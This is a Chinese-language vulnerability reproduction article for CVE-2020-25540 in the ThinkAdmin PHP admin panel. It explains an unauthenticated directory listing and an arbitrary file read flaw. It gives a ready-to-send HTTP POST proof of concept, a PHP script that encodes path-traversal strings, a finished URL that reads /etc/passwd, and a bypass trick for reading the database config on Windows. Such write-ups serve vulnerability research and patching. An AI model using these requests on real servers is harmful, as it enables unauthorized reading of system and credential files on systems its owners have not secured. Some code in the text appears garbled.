ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现

admin 2020年12月3日21:13:34评论60 views字数 2024阅读6分44秒阅读模式

0X00简介

ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统,ThinkAdmin v6版本存在路径遍历漏洞。攻击者可利用该漏洞通过GET请求编码参数任意读取远程服务器上的文件。

0X01影响范围

Thinkadmin ≤ 2020.08.03.01    v5(任意文件读取)    v6(列目录,任意文件读取)

查看版本https://ip/admin/login.html?s=admin/api.Update/version

ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现

0X02漏洞复现

app/admin/controller/api/Update.php中存在3个function,无需登录验证就能使用。

namespaceappadmincontrollerapi;use thinkadminController;use thinkadminserviceModuleService;use thinkadminserviceSystemService;

1.列目录漏洞

在node()方法中,直接将POST的rules和ignore参数传给了InstallService::instance()->getList()ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现在vendor/zoujingli/think-library/src/service/InstallService.php中利用scanList()去遍历$rules数组ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现继续跟进,在scanList()方法中调用scanDirectory()递归遍历目录下的文件,然后利用_getInfo()方法获取文件名和哈希值。ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现在整个过程中并没有进行任何过滤和认证,由此攻击者可以利用此漏洞获取服务器目录列表。

利用poc

POST /admin/login.html?s=admin/api.Update/node HTTP/1.1Host: ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSID=4da326327c0b75fb074122a093e912a0Upgrade-Insecure-Requests: 1Content-Length: 21Content-Type: application/x-www-form-urlencodedCache-Control: max-age=0
rules=%5B%22%2F%22%5D

ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现

2.任意文件读取漏洞

在app/admin/controller/api/Update.php中存在get()方法,对GET中的encode参数使用decode()方法进行解码。ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现上面正好有个encode()方法,攻击时可以直接调用。ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现继续看ModuleService::instance()->checkAllowDownload(),禁止下载数据库配置文件,name参数不能为database.php。ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现跟进getAllowDownloadRule()函数。ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现发现允许了以下路径。

configpublic/staticpublic/router.phppublic/index.phpapp/adminapp/wechat

可以通过控制$name参数,实现任意文件读取,且在Linux中无法读取database.php,而window中可以利用database"php来绕过。读取的文件路径需要编码。

编码脚本:

<?php$name="../../../etc/passwd";for($i=0;$i<strlen($ename=iconv('UTF-8','GBK//TRANSLIT',$name));$i++){  echo str_pad(base_convert(ord($ename[$i]),10,36),2,0,0);}?>

ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现利用漏洞读取/etc/paawd文件。

https://url/admin/login.html?s=admin/api.Update/get/encode/1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s

ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现

参考链接:

https://github.com/zoujingli/ThinkAdmin/issues/244

ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现

ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现

欢迎关注玄魂工作室

ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现

本文始发于微信公众号(玄魂工作室):ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月3日21:13:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkAdmin未授权列目录/任意文件读取(CVE-2020-25540)漏洞复现https://cn-sec.com/archives/195341.html

发表评论

匿名网友 填写信息